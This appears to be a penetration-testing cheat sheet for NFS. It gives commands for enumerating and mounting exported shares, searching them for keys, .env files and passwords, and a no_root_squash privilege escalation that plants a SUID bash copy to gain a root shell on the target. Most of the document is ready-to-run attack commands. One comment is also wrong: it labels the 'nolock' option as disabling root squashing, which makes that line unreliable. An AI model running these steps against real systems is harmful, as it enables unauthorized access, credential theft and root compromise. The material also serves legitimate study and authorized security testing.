NFS (Network File System)
Default Ports: 2049 (NFS), 111 (RPC)
Network File System (NFS) is a distributed file system protocol that allows users to access files over a network in a manner similar to how local storage is accessed. Developed by Sun Microsystems, NFS enables file sharing between Unix/Linux systems. Modern implementations (NFSv4) have improved security, but older versions and misconfigurations can lead to unauthorized access and data exposure.
Connect
Using mount
You can use the mount command to connect to NFS shares and access remote file systems as if they were local directories:
# List NFS shares
showmount -e target.com
# Mount NFS share
mkdir /mnt/nfs
mount -t nfs target.com:/share /mnt/nfs
# Mount with specific NFS version
mount -t nfs -o vers=3 target.com:/share /mnt/nfs
mount -t nfs -o vers=4 target.com:/share /mnt/nfs
# Mount without root squashing
mount -t nfs -o nolock target.com:/share /mnt/nfs
# Read-only mount
mount -t nfs -o ro target.com:/share /mnt/nfs
# Unmount
umount /mnt/nfs
Recon
Service Detection with Nmap
Use Nmap to detect NFS services and identify server capabilities.
nmap -p 2049,111 target.com
Share Enumeration
Discover which directories are being shared via NFS and what access permissions they have.
Using showmount
# List exported shares
showmount -e target.com
# List directories
showmount -d target.com
# List clients
showmount -a target.com
Using rpcinfo
# Using rpcinfo
rpcinfo -p target.com
# Manual RPC query
rpcinfo target.com | grep nfs
Enumeration
Mount and Explore
After mounting an NFS share, you can explore its contents and search for sensitive files or configuration data.
# Mount share
mount -t nfs target.com:/share /mnt/nfs
# List contents
ls -la /mnt/nfs
# Find interesting files
find /mnt/nfs -type f -name "*.conf"
find /mnt/nfs -type f -name "*.key"
find /mnt/nfs -type f -name "*.pem"
find /mnt/nfs -type f -name "*password*"
find /mnt/nfs -type f -name "*.env"
# Search for credentials
grep -r "password\|secret\|key" /mnt/nfs
# Check permissions
ls -la /mnt/nfs
UID/GID Enumeration
Understanding file ownership through numeric UIDs helps in planning privilege escalation attacks.
# Check file ownership
ls -lan /mnt/nfs
# Files often show numeric UIDs
# Common UIDs:
# 0 = root
# 1000 = first user
# 33 = www-data (Apache)
# 1001, 1002, etc = other users
Attack Vectors
No Root Squashing
When root squashing is disabled (no_root_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation.
# Check if no_root_squash is set
showmount -e target.com
# Look for (no_root_squash) in output
# Mount share
mount -t nfs target.com:/share /mnt/nfs
# Create file as root (if no_root_squash)
echo "test" > /mnt/nfs/root_file.txt
ls -la /mnt/nfs/root_file.txt
# Shows: -rw-r--r-- 1 root root
# Exploit: Create SUID shell
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# On target system, execute
./rootbash -p
# You get root shell